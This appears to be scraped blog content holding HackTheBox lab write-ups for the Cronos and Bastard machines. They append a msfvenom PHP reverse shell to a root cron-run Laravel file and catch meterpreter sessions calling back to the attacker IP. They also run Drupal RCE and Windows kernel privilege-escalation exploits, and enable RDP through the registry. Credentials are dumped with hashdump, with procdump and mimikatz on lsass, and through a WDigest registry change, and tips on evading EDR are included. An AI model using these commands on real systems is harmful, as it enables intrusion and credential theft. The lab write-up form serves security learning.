6 * * * root test -x /usr/sbin/anacron || ( cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.monthly ) * * * * * root php /var/www/laravel/artisan schedule:run \u0026gt;\u0026gt; /dev/null 2\u0026gt;\u0026amp;1 In short, I noticed the root user has a cron job running every minute: php /var/www/laravel/artisan, so I went over and appended reverse shell PHP code to the end of the artisan file (appended at the end rather than the beginning because the reverse shell script seemingly blocks the thread, which could keep Laravel from starting and break the target machine\u0026rsquo;s normal operation.)\n# Generate reverse shell PHP code msfvenom -p php/meterpreter/reverse_tcp -f raw LHOST=10.10.16.122 LPORT=4444 \u0026gt; 4444.php # Catch the shell with msf msf5 \u0026gt; use exploit/multi/handler msf5 exploit(multi/handler) \u0026gt; set payload php/meterpreter/reverse_tcp payload =\u0026gt; php/meterpreter/reverse_tcp msf5 exploit(multi/handler) \u0026gt; show options msf5 exploit(multi/handler) \u0026gt; set lhost tun0 lhost =\u0026gt; 10.10.16.122 msf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 10.10.16.122:4444 [*] Sending stage (38288 bytes) to 10.10.10.13 [*] Meterpreter session 1 opened (10.10.16.122:4444 -\u0026gt; 10.10.10.13:58804) meterpreter \u0026gt; getuid Server username: root (0) Other privilege escalation ideas\n====================================( Interesting Files )===================================== [+] SUID - Check easy privesc, exploits and write perms [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands /bin/ping /bin/umount\t---\u0026gt;\tBSD/Linux(08-1996) /bin/mount\t---\u0026gt;\tApple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 /bin/fusermount /bin/su /bin/ntfs-3g\t--failed-\u0026gt;\tDebian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others(02-2017) /bin/ping6 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1\t//failed /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper\tfailed /usr/bin/chsh /usr/bin/newuidmap failed /usr/bin/sudo\t---\u0026gt;\t/sudo$ /usr/bin/chfn\t---\u0026gt;\tSuSE_9.3/10 /usr/bin/newgrp\t---\u0026gt;\tHP-UX_10.20 /usr/bin/at\t---\u0026gt;\tRTru64_UNIX_4.0g(CVE-2002-1614) /usr/bin/pkexec\t---\u0026gt;\tLinux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485) /usr/bin/newgidmap\tfailed /usr/bin/gpasswd\tfailed /usr/bin/passwd\t---\u0026gt;\tApple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) Or use msf\u0026rsquo;s built-in enumeration module linux/gather/enum_system\nmsf5 post(linux/gather/enum_system) \u0026gt; run [+] Info: [+] Ubuntu 16.04.2 LTS [+] Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux [+] Module running as \u0026#34;www-data\u0026#34; user [*] Linux version stored in /ro........................... [*] User accounts stored in /ro........................... [*] Installed Packages stored i........................... [*] Running Services stored in ........................... [*] Cron jobs stored in /root/............................ [*] Disk info stored in /root/............................ [*] Logfiles stored in /root/.m........................... [*] Setuid/setgid files stored ........................... [*] CPU Vulnerabilities stored ........................... [*] Post module execution completed Reflections and Summary Note that the Laravel framework\u0026rsquo;s debug mode was on: APP_DEBUG=true — could that be leveraged? reference nslookup-ls-option-not-implemented DNS Zone Transfer Vulnerability - WUJINLIN\u0026rsquo;s Blog | WUJINLIN Collection, Detection, and Exploitation of the DNS Zone Transfer Vulnerability - LandGrey - On the way to become a hacker - CSDN Blog The Role of Linux /etc/cron.d (reposted from Cron jobs crontab cron.d) - Linfeng Shuiwanwan - cnblogs ","permalink":"https://www.unc.la/en/posts/penetration/yyq19x/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1587223007450-46718eff-4603-41bc-9691-7f0ef1d9a785.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003ch2 id=\"nmap\"\u003eNMAP\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esV\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ePn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"c1\"\u003e--min-rate 1000 -oA scans\\alltcp 10.10.10.13\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escan\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e13\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eHost\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eup\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elatency\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eNot\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshown\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e65532\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efiltered\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eports\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePORT\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"k\"\u003eSTATE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSERVICE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eVERSION\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e22\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003essh\u003c/span\u003e\u003cspan class=\"w\"\u003e     \u003c/span\u003e\u003cspan class=\"n\"\u003eOpenSSH\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"n\"\u003ep2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003eubuntu2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprotocol\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003essh\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ehostkey\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"mi\"\u003e256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ee6\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e06\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ea6\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e05\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ebb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e41\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e92\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e28\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ebf\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ee5\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e96\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eECDSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e53\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"k\"\u003edomain\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003eISC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBIND\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eP4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edns\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ensid\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003ebind\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"k\"\u003eversion\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eP4\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eApache\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttpd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e18\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eApache2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eDefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIt\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eworks\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCPE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003elinux\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003elinux_kernel\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNothing on port 80\u0026hellip;\u003c/p\u003e","title":"HackTheBox: Cronos Notes"},{"content":"I\u0026rsquo;ve recently been playing HackTheBox target machines, and I feel you can learn quite a lot from them, so below\nIf you also want to play target machines, you can register an account and give it a try. Registration requires completing a CTF-like challenge, which is pretty interesting.\nNow let\u0026rsquo;s get to the point\nTarget machine address 10.10.10.9\nInformation Gathering Port 80 runs a drupal site, which I had encountered in some lab before. I tried hitting it with the RCE exploit in msf, but failed.\nNMAP # nmap -sV -sC -Pn -oA scans/nmap-allports.tcp 10.10.10.9 Nmap scan report for 10.10.10.9 Host is up (0.49s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 |_http-generator: Drupal 7 (http://drupal.org) | http-methods: |_ Potentially risky methods: TRACE | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Microsoft-IIS/7.5 |_http-title: Welcome to 10.10.10.9 | 10.10.10.9 135/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows -sC: scan with nmap\u0026rsquo;s default scripts -sV: determine the OS/version info -Pn: skip ping and scan directly -oA: output scan results to the specified folder After getting Drupal\u0026rsquo;s major version 7, I needed to determine the minor version. Seeing the static files nmap discovered, I found the version was 7.54\nI searched with searchsploit drupal 7 and finally settled on these\nDrupal 7.x Module Services - Remote Code Execution | exploits/php/webapps/41564.php Drupal \u0026lt; 7.58 - \u0026#39;Drupalgeddon3\u0026#39; (Authenticated) Remote Code (Metasploit) | exploits/php/webapps/44557.rb Drupal \u0026lt; 7.58 - \u0026#39;Drupalgeddon3\u0026#39; (Authenticated) Remote Code Execution (PoC) | exploits/php/webapps/44542.txt Drupal \u0026lt; 7.58 / \u0026lt; 8.3.9 / \u0026lt; 8.4.6 / \u0026lt; 8.5.1 - \u0026#39;Drupalgeddon2\u0026#39; Remote Code Ex | exploits/php/webapps/44449.rb Copy the exploit to the current directory with searchsploit -m exploits/php/webapps/41564.php, and change the path to /rest\nThe /rest path actually needs to be brute-forced with dirb or dirbuster, but since my latency was high I didn\u0026rsquo;t scan for it and just learned it from someone else\u0026rsquo;s writeup. Running the exploit gives us a webshell.\nPrivilege Escalation After getting the webshell, I ran the information gathering script WinPEAS (https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) to collect a bunch of info, and combined with my own continued attempts, identified several usable privilege escalation methods\nPrivilege Escalation: MS15-051 msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe LHOST=10.10.16.122 LPORT=4444 \u0026gt; msf64.exe^C use exploit/multi/handler \\ set payload windows/x64/meterpreter/reverse_tcp \\ set lhost Note that the x64 and x86 listeners are different\nThe default is an x86 shell — failed\nEscalating within an x64 shell — success\nPrivilege Escalation: MS10-059 There is no corresponding exploitation module for this in msf, but I found https://github.com/Re4son/Chimichurri/blob/master/Chimichurri.exe on GitHub, which is a working privilege escalation exe\nChimichurri.exe 10.10.16.122 4443 https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059\nPrivilege Escalation: MS14-058 News from 2014-10-30\nThe Windows local privilege escalation exploit MS14-058 (CVE-2014-4113), which had been used for over half a year, discovered by CrowdStrike, has been made public.\nIts privilege escalation success rate reaches 100%:\nLater I connected to CS and tried privilege escalation as usual. But for some reason, only port 80 could establish a CS session; ports 443, 4444, and 8888 all failed to call back\nRunning ms14-058 directly, you can see we successfully escalated to system\nWhat to Do Next Use the webshell to find account credentials, then play around in the database. The admin password is\ncmd5 couldn\u0026rsquo;t decrypt it, but you can refer to drupal-reset-password to change it to the ciphertext of a known password, 123456, then log into the admin backend to look for a place to upload a shell (I later found that the backend actually does have spots where you can get a shell, but that\u0026rsquo;s meaningless for this target machine, since I didn\u0026rsquo;t get in via SQL injection)\nEnable 3389 and Enter Remote Desktop Enable the rdp remote desktop from meterpreter\nrun getgui -h shows the format for adding users; make sure the password strength is adequate\n# Win7, Win2003, XP systems ## Enable port 3389 from the CMD command line: REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\u0026#34; \u0026#34;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f ## Disable port 3389 from the CMD command line (just change 00000000 to 11111111): REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\u0026#34; \u0026#34;Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f Straight into RDP\nDumping Hashes Generally speaking, I use two methods to dump hashes on Windows:\nThe first: in a meterpreter session, run **hashdump** directly, or launch Cobalt Strike and run run mimikatz\nmeterpreter \u0026gt; hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:d3c87620c26302e9f04a756e3301e63a::: dimitris:1004:aad3b435b51404eeaad3b435b51404ee:57544bb8930967eee7f44d46f8bfe59d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: I personally prefer the second method: dumping the **lsass.exe** file and pulling it back to my local machine to read the hashes with mimikatz. The advantage of this approach is that you don\u0026rsquo;t need to make mimikatz AV-evading, because internal networks in real engagements generally have EDR, and running mimikatz on a personal host will definitely be flagged as anomalous — you might even lose your foothold. In that situation, it\u0026rsquo;s appropriate to pull the dump file back to your local machine to extract hashes.\nprocdump.exe tool\nThis tool is made by Microsoft and has some built-in AV-evading capability. You can use procdump to export the lsass process memory to a local file, then use mimikatz locally to read the passwords.\n# Dump lsass procdump.exe -accepteula -ma lsass.exe lsass_dump # lsass_dump.dmp is the file storing the dump data mimikatz.exe \u0026#34;sekurlsa::minidump lsass_dump.dmp\u0026#34; \u0026#34;sekurlsa::logonPasswords full\u0026#34; exit Additionally, when the system is Win10 or 2012R2 or above, saving plaintext passwords in the memory cache is disabled by default. In this case, you can capture plaintext by modifying the registry, but it only works after the user logs in again. The registry modification command is:\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f Summary and Reflections Honestly, the hardest step in owning this target machine was finding that drupal 7 RCE. Many people online use these two tools for targeted scanning of drupal, https://github.com/topics/drupalgeddon2 and https://github.com/droope/droopescan, which can also identify this vulnerability. If you\u0026rsquo;re interested, give them a try The Drupal 7 configuration file (database password) is located at /sites/default/settings.php The specific version of Drupal can be determined from /CHANGELOG.txt. Similar thinking applies to other CMSs — look around for readme-type files If you want to change Drupal\u0026rsquo;s admin password, find the users table and the password field for the username in question. You can directly copy another user\u0026rsquo;s password to the account whose password you forgot. You can also directly copy this (the plaintext of this encrypted string is 123456; just log in with that password afterwards): $S$DRIG34Wb.GK3EKVBYBYN6rO.uyMkf1re4u8f/FjDRmGBRY30x3S4\nWindows patch overview Vulnerability list #Security Bulletin #KB #Description #Operating System CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability]　(windows 10/8.1/7/2016/2010/2008) MS17-010 [KB4013389]　[Windows Kernel Mode Drivers]　(windows 7/2008/2003/XP) MS16-135 [KB3199135]　[Windows Kernel Mode Drivers]　(2016) MS16-098 [KB3178466]　[Kernel Driver]　(Win 8.1) MS16-075 [KB3164038]　[Hot Potato]　(2003/2008/7/8/2012) MS16-032 [KB3143141]　[Secondary Logon Handle]　(2008/7/8/10/2012) MS16-016 [KB3136041]　[WebDAV]　(2008/Vista/7) MS15-097 [KB3089656]　[remote code execution]　(win8.1/2012) MS15-076 [KB3067505]　[RPC]　(2003/2008/7/8/2012) MS15-077 [KB3077657]　[ATM]　(XP/Vista/Win7/Win8/2000/2003/2008/2012) MS15-061 [KB3057839]　[Kernel Driver]　(2003/2008/7/8/2012) MS15-051 [KB3057191]　[Windows Kernel Mode Drivers]　(2003/2008/7/8/2012) MS15-010 [KB3036220]　[Kernel Driver]　(2003/2008/7/8) 